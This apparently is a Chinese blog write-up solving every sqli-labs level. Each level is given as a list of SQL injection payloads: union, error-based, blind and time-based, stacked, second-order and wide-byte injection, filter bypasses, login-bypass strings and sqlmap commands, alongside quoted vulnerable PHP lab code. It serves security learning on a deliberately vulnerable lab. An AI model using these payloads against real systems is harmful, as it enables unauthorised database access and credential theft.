SQL注入进阶篇-sql-labs合集

工具

HackBar

BurpSuite v2.1

目录

基础挑战

Less-1

联合查询

报错注入(一)

布尔盲注

延时注入

sqlmap

Less-2

Less-3

Less-4

Less-5

Less-6

Less-6

Less-7

Less-8

Less-9

Less-10

Less-11

联合查询

报错注入

布尔盲注

延时注入

sqlmap

万能密码

 Less-12

Less-13

Less-14

Less-15

Less-16

Less-17

代码审计

Less-18

Less-19

Less-20

 Less-21

Less-22

高级注入 

Less-23 

Less-24

源码分析

攻击思路

Less-25

源码分析

Less-25a

Less-26

过滤规则

Less-26a

Less-27

过滤规则

Less-27a

Less-28

过滤规则

Less-28a

Less-29

Less-30

Less-31

Less-32

源码分析

Less-33

源码分析

Less-34

Less-35

源码分析

Less-36

源码分析

Less-37

叠加注入

Less-38

Less-39

Less-40

Less-41

Less-42

源码分析

Less-43

Less-44

Less-45

Less-46

验证

报错注入

布尔盲注

延时注入

Less-47

Less-48

Less-49

Less-50

Less-51

Less-52

Less-53

进阶挑战

Less-54

测试

查表名

查字段名

拿到key

提交key

Less-55

测试

Less-56

测试

Less-57

测试

Less-58

源码分析

测试

Less-59

Less-60

Less-61

Less-62

Less-63

Less-64

Less-65


基础挑战

Less-1

下面我将以第一关为例,使用四种注入手法

联合查询

http://114.55.107.51/sqli-labs/Less-1/?id=-1' union select 1,2,3--+

查表

…select table_name from information_schema.tables where table_schema=database() limit 3,1…

查表中字段

…select column_name from information_schema.columns where table_name = users and table_schema = database() limit 1,1…

查数据

…select group_concat(username,id,password) from users…

 

报错注入(一)

http://192.168.1.200/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

… and updatexml(1,concat('^',version(),'^'),1)--+

布尔盲注

http://192.168.1.200/sqli-labs/Less-1/?id=1' and length(database())=8--+

延时注入

http://114.55.107.51/sqli-labs/Less-1/?id=1' and sleep(4)--+

?id=1' and if(length(database())=8,1,sleep(5))--+

sqlmap

联合查询注入

sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs

报错注入

sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs

布尔盲注

sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs

延时注入

sqlmap -u "http://192.168.1.200/sqli-labs/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs

Less-2

请求方式 get

闭合方式 无闭合

攻击测试 ?id=-1 union select 1,2,version()--+

注入方式 联合,报错,布尔,延时

Less-3

请求方式 get

闭合方式 ')

攻击测试  ?id=-1') union select 1,2,version()--+

注入方式 联合,报错,布尔,延时

Less-4

请求方式 get

闭合方式 ")

攻击测试  ?id=-1") union select 1,2,version()--+

注入方式 联合,报错,布尔,延时

Less-5

请求方式 get

闭合方式 '

攻击测试  ?id=1' and updatexml(1,concat('^',version(),'^'),1)--+

注入方式 报错,布尔,延时

 

Less-6

请求方式 get

闭合方式 "

攻击测试  ?id=1" and updatexml(1,concat('^',version(),'^'),1)--+

注入方式 报错,布尔,延时

Less-6

请求方式 get

闭合方式 "

攻击测试  ?id=1" and updatexml(1,concat('^',version(),'^'),1)--+

注入方式 报错,布尔,延时

Less-7

请求方式 get

闭合方式 '))

攻击测试  ?id=1')) and 1=2--+

注入方式 布尔,延时

Less-8

请求方式 get

闭合方式 '

攻击测试  ?id=1' and 1=2--+

注入方式 布尔,延时

Less-9

请求方式 get

闭合方式 '

攻击测试  ?id=1' and sleep(4)--+

注入方式 延时

Less-10

请求方式 get

闭合方式 "

攻击测试  ?id=1" and sleep(4)--+

注入方式 延时

Less-11

请求方式 post

闭合方式 '

注入方式

POST 数据里面不能有 +,故'--+'改为'-- '

联合查询

uname=-1' union select 1,version()#&passwd=&submit=Submit

报错注入

uname=1' and updatexml(1,concat('^',version(),'^'),1)-- &passwd=&submit=Submit

布尔盲注

uname=admin' and length(database())=8#&passwd=&submit=Submit

由于这里我们要通过是否登录成功来判断布尔状态,如果后面字段的值为真,登录成功,否则登录失败

延时注入

uname=admin' and if(length(database())=8,1,sleep(5))#&passwd=&submit=Submit

sqlmap

创建post.txt 文件

使用bp抓包,获取http请求数据包

联合注入

sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入

sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注

sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3

延时注入

sqlmap -r post.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3

万能密码

法一:

uname=admin'-- &passwd=admin&submit=Submit

uname=admin'#&passwd=&submit=Submit

法二:

uname=admin&passwd=1' or 1-- &submit=Submit

uname=admin&passwd=1'||1-- &submit=Submit

uname=admin&passwd=1' or 1#&submit=Submit

uname=admin&passwd=1'||1#&submit=Submit

法三:

uname=admin&passwd=1'or'1'='1&submit=Submit

uname=admin&passwd=1'||'1'='1&submit=Submit

 Less-12

请求方式 post

闭合方式 ")

攻击测试 uname=-1") union select 1,version()#&passwd=&submit=Submit

注入方式 联合,报错,布尔,延时

Less-13

请求方式 post

闭合方式 ')

攻击测试 uname=1') and updatexml(1,concat('^',version(),'^'),1)#&passwd=&submit=Submit

注入方式 报错,布尔,延时

Less-14

请求方式 post

闭合方式 "

攻击测试 uname=1" and updatexml(1,concat('^',version(),'^'),1)#&passwd=&submit=Submit

注入方式 报错,布尔,延时

Less-15

请求方式 post

闭合方式 '

攻击测试 uname=admin' and 1=2#&passwd=&submit=Submit

注入方式 布尔,延时

Less-16

请求方式 post

闭合方式 ")

攻击测试 uname=admin") and sleep(4)#&passwd=&submit=Submit

注入方式 延时

Less-17

代码审计

$uname=check_input($_POST['uname']); 
$passwd=$_POST['passwd'];

// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
  $row1 = $row['username'];          
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);

发现只要输入正确的用户名,passwd字段就可以进行注入

请求方式 post

闭合方式 '

攻击测试 uname=admin&passwd=1' and updatexml(1,concat('^',database(),'^'),1)#&submit=Submit

注入方式 报错

Less-18

请求方式 post

闭合方式 '

注入方式 报错

注入点 U-A字段

Less-19

请求方式 post

闭合方式 '

注入方式 报错

注入点 referer字段

 

Less-20

请求方式 post

闭合方式 '

注入方式 联合,报错,布尔,延时

注入点 cookie字段

攻击测试 1' union select 1,2,version()#

如何抓取cookie包

1、首先开启bp代理模式,输入正确的用户名密码登录[admin:admin]

2、使用bp抓包,将第一个post请求(携带账户面密码)的包放过

3、等待一会,带有cookie的包会自动出现

 Less-21

请求方式 post

闭合方式 ')

注入方式 联合,报错,布尔,延时

注入点 cookie字段(经过Base-64编码)

攻击测试 1' union select 1,2,version()#

Base-64编码之后 dW5hbWU9MScpIHVuaW9uIHNlbGVjdCAxLDIsdmVyc2lvbigpIw==

Less-22

请求方式 post

闭合方式 "

注入方式 报错,布尔,延时

注入点 cookie字段(经过Base-64编码)

攻击测试 1" and updatexml(1,concat('^',database(),'^'),1)#

Base-64编码之后 MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsZGF0YWJhc2UoKSwnXicpLDEpIw==

高级注入 

Less-23 

if(isset($_GET['id']))
{
$id=$_GET['id'];

//过滤# 和 --+
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{        
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
}

请求方式 get

闭合方式 '

攻击测试 ?id=-1' union select 1,version(),3 and '1'='1

注入方式 联合,报错,布尔,延时

Less-24

二次注入问题

二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。

源码分析

login.php

$username = mysql_real_escape_string($_POST["login_user"]);

$password = mysql_real_escape_string($_POST["login_password"]);

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');

$row = mysql_fetch_row($res);

if ($row[1]) {

return $row[1];

}

index.php

if (isset($_SESSION['username']) && isset($_COOKIE['Auth'])) {

   header('Location: logged-in.php');

}

<form name="login" method="POST" action="login.php">

logged-in.php

if (!isset($_COOKIE["Auth"])){
if (!isset($_SESSION["username"])){
                   header('Location: index.php');
}

header('Location: index.php');
}

<form name="mylogin" method="POST" action="pass_change.php">

new_user.php

<form name="mylogin" method="POST" action="login_create.php">

login_create.php

//创建用户
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

判断该用户是否已存在,若存在提示重新输入
$sql = "select count(*) from users where username='$username'";
$row = mysql_fetch_row($res);
if (!$row[0]== 0){
} else {
      if ($pass==$re_pass){
                   $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
           }else{}

}

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

pass_change.php

if($pass==$re_pass){        
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
if($row==1){
echo "Password successfully updated";
}
else{

header('Location: failed.php');
}
}else{
header('refresh:2, url=index.php');
}

攻击思路

1、创建用户 【admin'#】

此时数据库

2、以用户【admin'#】登录成功

3、修改密码,

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

此时更新密码的sql语句就变为

UPDATE users SET PASSWORD='$pass' where username='admin'#' nd password='$curr_pass'

此时实际上我们会将【admin】用户的密码修改

Less-25

源码分析

if(isset($_GET['id'])){
$id=$_GET['id'];
$id= blacklist($id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row){
         echo 'Your Login name:'. $row['username'];
         echo 'Your Password:' .$row['password'];
          }
else{
print_r(mysql_error());
    }
}


function blacklist($id){

$id= preg_replace('/or/i',"", $id);                        //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);                //Strip out AND (non case sensitive)
return $id;
}

这里过滤了 or 和 and

双写嵌套绕过

password 可写成 passwoorrd

and 可写成 aandnd

关键字替换

or -> ||

and -> &&

请求方式 get

闭合方式 '

攻击测试

?id=-1' union select 1,2,3--+

?id=1' aandnd 1=2--+

?id=1' aandnd updatexml(1,concat('^',database(),'^'),1)--+

注入方式 联合,报错,布尔,延时

Less-25a

和上一个类似

区别 闭合方式不同,没有报错信息输出

请求方式 get

闭合方式 数字型

攻击测试

?id=-1 union select 1,2,3--+

?id=1 aandnd 1=2--+

注入方式 联合,布尔,延时

Less-26

过滤规则

function blacklist($id)

{

$id= preg_replace('/or/i',"", $id);                        //strip out OR (non case sensitive)

$id= preg_replace('/and/i',"", $id);                //Strip out AND (non case sensitive)

$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*

$id= preg_replace('/[--]/',"", $id);                //Strip out --

$id= preg_replace('/[#]/',"", $id);                        //Strip out #

$id= preg_replace('/[\s]/',"", $id);                //Strip out spaces

$id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out 斜线

return $id;

}

请求方式 get

闭合方式 '

攻击测试 ?id=-1'%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1

注入方式 联合,报错布尔,延时

Less-26a

请求方式 get

闭合方式 ')

攻击测试 ?id=-1')%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1

注入方式 联合,报错,布尔,延时

Less-27

过滤规则

function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id);           //strip out /*
$id= preg_replace('/[--]/',"", $id);             //Strip out --.
$id= preg_replace('/[#]/',"", $id);              //Strip out #.
$id= preg_replace('/[ +]/',"", $id);             //Strip out spaces.
$id= preg_replace('/select/m',"", $id);          //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);             //Strip out spaces.
$id= preg_replace('/union/s',"", $id);           //Strip out union
$id= preg_replace('/select/s',"", $id);          //Strip out select
$id= preg_replace('/UNION/s',"", $id);           //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);          //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);           //Strip out Union
$id= preg_replace('/Select/s',"", $id);          //Strip out select
return $id;
}

请求方式 get

闭合方式 '

攻击测试 ?id=-1'uniOn%0bsElect%0b1,2,3 ||'1

注入方式 联合,报错,布尔,延时

Less-27a

请求方式 get

闭合方式 "

攻击测试 ?id=-1"uniOn%0bsElect%0b1,2,3 ||'1

注入方式 联合,布尔,延时

Less-28

过滤规则

function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id);                        //strip out /*
$id= preg_replace('/[--]/',"", $id);                        //Strip out --.
$id= preg_replace('/[#]/',"", $id);                                //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                            //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                            //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);              //Strip out UNION & SELECT.
return $id;
}

这里过滤了空格可以使用前面的编码绕过,过滤了注释,可使用闭合绕过,过滤了UNION+SELECT可以使用双写嵌套绕过也可以使用编码代替+

请求方式 get

闭合方式 ')

攻击测试 ?id=-1') union%0bselect%0b1,2,3 ||('1')=('2

注入方式 联合,布尔,延时

Less-28a

过滤规则比上一个还少

请求方式 get

闭合方式 ')

攻击测试 ?id=-1') union%0bselect%0b1,2,3 ||('1')=('2

注入方式 联合,布尔,延时

Less-29

index.php

if(isset($_GET['id'])){
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if($row){
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
          }
else{
print_r(mysql_error());
    }
}

分析代码就是简单sql模型,直接联合走一波

payload

?id=-1' union select 1,2,(select group_concat(username,password) from users)--+

login.php

if(isset($_GET['id'])){
$qs = $_SERVER['QUERY_STRING']; //获取?后面的值
$hint=$qs;
$id1=java_implimentation($qs);

$id=$_GET['id'];
//再次过滤检查
whitelist($id1);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if($row){
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
          }else {
print_r(mysql_error());
}
}

function java_implimentation($query_string){
$q_s = $query_string;
// & 作为分隔符,分割字符串
$qs_array= explode("&",$q_s);
// 遍历数组
foreach($qs_array as $key => $value)
}

$val=substr($value,0,2);

//如果前两位是id

if($val=="id"){

//截取3-30位作为id的值
$id_value=substr($value,3,30);
return $id_value;
break;
}

function whitelist($input){
//过滤规则 检测数字
$match = preg_match("/^\d+$/", $input);
if($match){}
else{        
//不符合规则
header('Location: hacked.php');
    }
}

我们发现有两次过滤whitelist和java_implimentation

whitelist 过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 hacked.php,这里是没问题的,0而问题出在了前面的函数java_implimentation($qs)

分析其逻辑,发现在检测道第一个id的时候,因为 return 表示了函数的结束运行,所以这个函数捕捉到 id 的时候就会返回 return $id_value,这样,如果我们还构造一组id的话,后面的 id 就会绕过函数检测。

请求方式 get

闭合方式 '

注入方式 联合,布尔,延时

payload

?id=1&id=-1' union select 1,2,(select group_concat(username,password) from users)--+

Less-30

和上一关相似,只是闭合方式不同

请求方式 get

闭合方式 "

注入方式 联合,布尔,延时

index.php

payload

?id=-1" union select 1,2,(select group_concat(username,password) from users)--+

login.php

payload

?id=1&id=-1" union select 1,2,(select group_concat(username,password) from users)--+

Less-31

和上一关相似,只是闭合方式不同

请求方式 get

闭合方式 ")

注入方式 联合,布尔,延时

index.php

payload

?id=-1") union select 1,2,(select group_concat(username,password) from users)--+

login.php

payload

?id=1&id=-1") union select 1,2,(select group_concat(username,password) from users)--+

Less-32

源码分析

if(isset($_GET['id'])){

$id=check_addslashes($_GET['id']);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

}
//在 ' " / 敏感字符前加反斜杠
function check_addslashes($string){
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);        
    $string = preg_replace('/\'/i', '\\\'', $string);                              
    $string = preg_replace('/\"/', "\\\"", $string);
    return $string;
}

通过分析,我们得知其防御措施是在特殊字符(' " /) 前加反斜杠,绕过姿势:

宽字节注入,使用%df 吃掉 \ 或 将 \' 中的 \ 过滤掉

请求方式 get

闭合方式 '

注入方式 联合,报错,布尔,延时

攻击测试

?id=-1%df' union select 1,2,(select group_concat(username,password) from users)--+

Less-33

源码分析

if(isset($_GET['id'])){
$id=check_addslashes($_GET['id']);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

}
function check_addslashes($string){
    $string= addslashes($string);   
    return $string;
}

addslashes()函数作用将预定义字符 ' " \ 转义为 \' \" \\

和上题类似,使用宽字节绕过

请求方式 get

闭合方式 '

注入方式 联合,报错,布尔,延时

攻击测试

?id=-1%df' union select 1,2,(select group_concat(username,password) from users)--+

注:要想防御宽字节注入,在使用 addslashes()时,我们需要将 mysql_query 设置为 binary 的方式

Less-34

与上一题类似,只是请求方式有get变为post

请求方式 post

闭合方式 '

注入方式 联合,报错,布尔,延时

攻击测试

uname=%df' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&passwd=&submit=Submit

admin%df' and updatexml(1,concat('^',database(),'^'),1)#

Less-35

源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

function check_addslashes($string){
    $string = addslashes($string);
    return $string;
}

注入方式数字型,这个防护方式就有点。。。

请求方式 get

闭合方式 数字型

注入方式 联合,报错,布尔,延时

攻击测试

?id=-1 union select 1,2,(select group_concat(username,password) from users)--+

Less-36

源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

//转义危险字符 ' " / 为 /' /" //
function check_quotes($string){
    $string= mysql_real_escape_string($string);   
    return $string;
}

依然可以使用前面几关的思路,使用宽字节绕过

请求方式 get

闭合方式 '

注入方式 联合,报错,布尔,延时

攻击测试

?id=-1%df' union select 1,2,(select group_concat(username,password) from users)--+

Less-37

与上一关类似,只是请求方式发生变化

请求方式 post

闭合方式 '

注入方式 联合,报错,布尔,延时

攻击测试

uname=%df' and 1=2 union select 1,(select group_concat(username,password) from users)#&passwd=&submit=Submit

叠加注入

Less-38

堆叠注入原因:mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。

请求方式 get

闭合方式 '

注入方式 联合,报错,布尔,延时,堆叠

攻击测试 ?id=-1' union select 1,2,version()--+

我们也可以使用以下payload来创建一个新用户

?id=1';insert into users(username,password) values ('hello','world');

 

Less-39

与38关类似,区别在于闭合方式为 数字型注入

请求方式 get

闭合方式 数字型

注入方式 联合,报错,布尔,延时,堆叠

Less-40

与38关类似,区别在于闭合方式不同

请求方式 get

闭合方式 ')

注入方式 联合,报错,布尔,延时,堆叠

 

Less-41

与39关类似,区别在于没有报错输出,不能使用报错注入

请求方式 get

闭合方式 数字型

注入方式 联合,布尔,延时,堆叠

Less-42

源码分析

其他几个文件没有什么有用的利用点,但是在login.php 中存在明显漏洞

虽然在pass_change.php中存在明显的二次注入漏洞,但是本题无法创建新用户,该漏洞自然无法利用了

login.php

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

这里面的password字段没有进行过滤,有报错输出,可以使用常规注入手法(联合,报错,布尔,延时)注入,而且还支持堆叠查询,也可使用堆叠注入

万能密码绕过

1' or 1#

请求方式 post

闭合方式 '

注入方式 联合,报错,布尔,延时,堆叠

攻击测试

login_user=admin&login_password=1' union select 1,version(),3#&mysubmit=Login

login_user=admin&login_password=1' and updatexml(1,concat('^',database(),'^'),1)#&mysubmit=Login

Less-43

与42关类似,只是拼接方式不同

请求方式 post

闭合方式 ')

注入方式 联合,报错,布尔,延时,堆叠

Less-44

与42关类似,只是拼接方式不同,且没有错误消息输出,无法使用报错在注入

请求方式 post

闭合方式 '

注入方式 联合,布尔,延时,堆叠

Less-45

与44关类似,只是拼接方式不同

请求方式 post

闭合方式 ')

注入方式 联合,布尔,延时,堆叠

Less-46

order by

与常规的where后的注入不同,order by无法使用union联合查询注入方式

验证

rand()验证

?sort=rand(1) 与 ?sort=rand(0)的结果时不一致的,利用这一点,我们可以构造布尔盲注和延时注入

延时验证

?sort=1 and sleep(4)

请求方式 get

闭合方式 数字型

注入方式 报错,布尔,延时

报错注入

利用order by重复键冲突

?sort=1 and (select 1 from (select count(*),concat((select version()),floor(rand(0)*2))x from information_schema.tables group by x)a)

利用 procedure analyse 参数,也可以执行报错注入

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

布尔盲注

?sort=rand(length(database())=9)

延时注入

?sort=rand(if(length(database())=8,1,sleep(1)))

?sort=1 and if(length(database())=9,1,sleep(1))

Less-47

与46关类似,只是拼接方式不同

请求方式 get

闭合方式 '

注入方式 报错,布尔,延时

Less-48

与46关类似,只是少了报错输出,不能使用报错注入

请求方式 get

闭合方式 数字型

注入方式 布尔,延时

Less-49

与47关类似,只是少了报错输出,不能使用报错注入

请求方式 get

闭合方式 '

注入方式 布尔,延时

Less-50

与46关类似,只是询方式由 mysql_query 变成了 mysqli_multi_query,可以使用堆叠注入

请求方式 get

闭合方式 数字型

注入方式 报错,布尔,延时,堆叠

Less-51

与50关类似,只是拼接方式不同

请求方式 get

闭合方式 '

注入方式 报错,布尔,延时,堆叠

Less-52

与50关类似,只是少了报错输出,不能使用报错注入

请求方式 get

闭合方式 数字型

注入方式 布尔,延时,堆叠

Less-53

与51关类似,只是少了报错输出,不能使用报错注入

请求方式 get

闭合方式 '

注入方式 布尔,延时,堆叠

进阶挑战

Less-54

请求方式 get

闭合方式 '

注入方式 联合,报错,布尔,延时

限定了注入次数为10次

测试

?id=-1' union select 1,2,3--+

查表名

?id=-1' union select 1,(select group_concat(table_name separator 0x3c62723e) from information_schema.tables where table_schema=database()),database()--+

查的表:1mwm7h77nb(表名随机)

查字段名

?id=-1' union select 1,(select group_concat(column_name separator 0x3c62723e) from information_schema.columns where table_schema=database() and table_name='1mwm7h77nb'),3--+

得到表中字段值:id,sessid,secret_BKSM,tryy

拿到key

?id=-1' union select 1,(select secret_BKSM from 1mwm7h77nb),3--+

拿到key值:AoGFcuhtdypPohxGFJxRWXBO

提交key

Less-55

测试

?id=-1) union select 1,2,3--+

与上一关类似,区别在于闭合方式不同

Less-56

测试

?id=-1') union select 1,2,3--+

与上一关类似,区别在于闭合方式不同

Less-57

测试

?id=-1" union select 1,2,3--+

与上一关类似,区别在于闭合方式不同

Less-58

源码分析

$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

echo 'Your Login name : '. $unames[$row['id']];

echo 'Your Password : ' .$pass[$row['id']];

print_r(mysql_error());   //可以进行报错注入

对输出做了调整,使用联合查询注入得不到我们想要的信息了

请求方式 get

闭合方式 '

注入方式 报错,布尔,延时

测试

?id=1' and updatexml(1,concat('^',database(),'^'),1)--+

其他的与54关类似

Less-59

和58关类似,只是闭合方式不一样

请求方式 get

闭合方式 数字型

注入方式 报错,布尔,延时

测试

?id=1 and updatexml(1,concat('^',database(),'^'),1)--+

Less-60

和58关类似,只是闭合方式不一样

请求方式 get

闭合方式 ")

注入方式 报错,布尔,延时

测试

?id=1") and updatexml(1,concat('^',database(),'^'),1)--+

Less-61

和58关类似,只是闭合方式不一样

请求方式 get

闭合方式 '))

注入方式 报错,布尔,延时

测试

?id=1')) and updatexml(1,concat('^',database(),'^'),1)--+

Less-62

没有了报错输出,报错注入失效,只能使用布尔和延时了,这里的具体攻击手法我就不做过多赘述了,当然这里使用工具跑才是最省事的了

请求方式 get

闭合方式 ')

注入方式 布尔,延时

Less-63

和62关类似,只是闭合方式不一样

请求方式 get

闭合方式 '

注入方式 布尔,延时

Less-64

和62关类似,只是闭合方式不一样

请求方式 get

闭合方式 ))

注入方式 布尔,延时

Less-65

和62关类似,只是闭合方式不一样

请求方式 get

闭合方式 ")

注入方式 布尔,延时

 

以前一直没有刷完的题目,通过写博客的方式就逼自己一把刷完了,效果显著 2333,这种学习记录贴会长期记录下去的。实际上 sqlmap 也很强大,尤其是在盲注这一块效率比手工要快很多,但是手工注入的重要性也是无可替代的,还是系统的学习掌握一下的,手工注入在存在联合和报错注入的情况下,注入速度也是不低于 sqlmap 的。


参考资料

SQL注入天书

https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-78

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beglage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值